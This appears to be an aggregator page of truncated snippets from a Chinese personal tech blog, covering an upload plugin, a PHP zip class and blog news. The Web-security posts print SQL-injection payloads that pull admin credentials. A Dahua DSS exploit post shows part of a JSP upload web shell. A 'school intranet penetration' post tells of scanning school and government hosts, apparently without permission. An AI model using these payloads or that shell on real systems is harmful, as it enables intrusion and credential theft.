jipai.moe

blog.sylingd.com

跨平台的文件上传插件：plupload - 泷涯零点

https://blog.sylingd.com/archives/271.html

2014年12月24日 15:36 Tags : 代码之家. 支持多平台 Flash、HTML5、HTML4、Silverlight 界面友好 大部分界面都可以通过CSS自定义。 Script type="text/javascript" src="zh CN.js" /script. A id="pickfiles" href="#" 选择文件 /a a id="uploadfiles" href="#" 上传文件 /a. Form method="post" action="dump.php" div id="uploader" p 你的浏览器不支持Flash、Silverlight、HTML5 /p /div input id="ok" type="submit" value="完成" disabled/ /form. 下同 silverlight xap url : 'Moxie.xap', complete:function(e,ui){ alert('上传完成'); $('#ok').removeAttr('disabled'); }, selected:function(e...Plupl...

blog.sylingd.com

TbsZip：强大的phpZip类 - 泷涯零点

https://blog.sylingd.com/archives/272.html

2014年12月24日 15:36 Tags : 代码之家. Require('tbszip.php'); $zip=new clsTbsZip();. Zip- Open('file.zip');. Zip- FileAdd('text.txt','This is a text',TBSZIP STRING); $zip- FileAdd('document/text.txt','This is a text',TBSZIP STRING); $zip- FileAdd('image.png','./images/image.png',TBSZIP FILE);. Zip- FileAdd('image.png','./images/image.png',TBSZIP FILE,FALSE);. Zip- FileReplace('text.txt','This is a text',TBSZIP STRING); $zip- FileReplace('image.png','./images/image.png',TBSZIP FILE);. 首先输出header header("Content-t...

blog.sylingd.com

浅谈Web安全：SQL查询注入（一） - 泷涯零点

https://blog.sylingd.com/archives/294.html

2015年05月22日 15:18 Tags : 代码之家. 下篇 浅谈Web安全 SQL查询注入 二. CREATE TABLE `article` ( `id` bigint(11) AUTO INCREMENT, `title` varchar(255), `body` longtext, PRIMARY KEY(`id`) ) ENGINE=MyISAM AUTO INCREMENT=1 DEFAULT CHARSET=utf8;. Php require('mysql.php'); / 略去连接SQL的部分 $id=$ GET['id']; $sql="SELECY * FROM `article` WHERE id = $id"; $result=mysqli fetch array(mysqli query($conn,$sql) ; echo '标题 ',$result['title']; echo ' hr ',$result['body'];? Id=1 AND 1=2 UNION SELECT 1,user,password FROM admin. Php require('mys...

blog.sylingd.com

博客使用新的模板 - 泷涯零点

https://blog.sylingd.com/archives/281.html

2015年05月04日 09:41 Tags : 代码之家. Processed in 0.00719 second(s).

blog.sylingd.com

SYFramework正式发布 - 泷涯零点

https://blog.sylingd.com/archives/296.html

2015年08月12日 22:10 Tags : 代码之家. 此项目基于 Apache License 2.0. Processed in 0.01402 second(s).

blog.sylingd.com

学校内网渗透（1） - 泷涯零点

https://blog.sylingd.com/archives/280.html

2015年05月20日 09:09 Tags : 代码之家. 电脑的IP是172.32.88.XX，也就是说学校的网段应该是172.16.0.0-172.32.255.255。 学校还有个WiFi，不过有MAC地址过滤，IP段则是172.32.16.0-172.32.18.255。 尝试用浏览器打开172.32.88.1，成功看到了希望中的交换机登录界面。 一个17232.27.XX的网页，扫描器显示Web名称是 Projector Lan Control。 这里说个题外话，在我印象中学校的交换机貌似都是华三的，但是172.32.27.225竟然是台TP-LINK的交换机，真心不知道是什么情况. 接下来我突发奇想 学校那么多电脑，怎么可能才这点IP呢 难不成我处于 内网中的内网 于是调出扫描器，果断的扫描了一下10.XX.XX.XX，还别说，真看到了好一些网站，几乎全是本地ZF的。 于是我打开扫描出的http:/ 172.32.27.2 只是因为看上去比较特殊 ，点了下 管理员登录 ，习惯性的输入. 我突然想到，IE提示无法安装的是一个叫 webrec.cab 的东西。

blog.sylingd.com

【软件推荐】中华农历 - 泷涯零点

https://blog.sylingd.com/archives/276.html

2014年12月24日 15:35 Tags : 爱分享. Processed in 0.00997 second(s).

blog.sylingd.com

浅谈Web安全：SQL查询注入（二） - 泷涯零点

https://blog.sylingd.com/archives/295.html

2015年05月22日 15:17 Tags : 代码之家. 接上篇 浅谈Web安全 SQL查询注入 一. Php class sql { private $conn; public function construct () { / 略去连接部分 } public function query ($sql) { $r=mysqli query($this- conn,$sql); if (! R) { $this- Error($sql); } } public function Error ($sql) { echo 'MySQL Error br SQL:',$sql,' br Errinfo:',mysqli error($this- conn); exit; } }? Id=1 AND 1=2 UNION SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select user() )a from information schema.tables group by a)b -. Admin' and left( select pa...

blog.sylingd.com

大华DSS漏洞利用全过程 - 泷涯零点

https://blog.sylingd.com/archives/292.html

2015年04月21日 14:18 Tags : 代码之家. 较稳定 从学校的使用来看 、支持设备多、支持云台控制、支持多种终端 Windows Android iOS. 这个漏洞可以利用来造成DoS攻击和任意代码执行，具体参见Wooyun的文章 http:/ drops.wooyun.org/papers/1377. Page contentType="text/html;charset=gb2312"% %@page import="java.io.*,java.util.*,java.net.*"% html head title JspDo /title style body{color:red;font-size:12px;} /style /head body % if(request.getParameter("context")! Font /a "); } catch (FileNotFoundException ex2) { out.println(" font color='red' 上传失败! Font "); } } } % form name="frmUpload" meth...

blog.sylingd.com

泷涯离线下载 V2.2 发布 - 泷涯零点

https://blog.sylingd.com/archives/270.html

泷涯离线下载 V2.2 发布. 2014年09月12日 12:38 Tags : 代码之家. 原文地址 泷涯离线下载 V2.2 发布. Processed in 0.00782 second(s).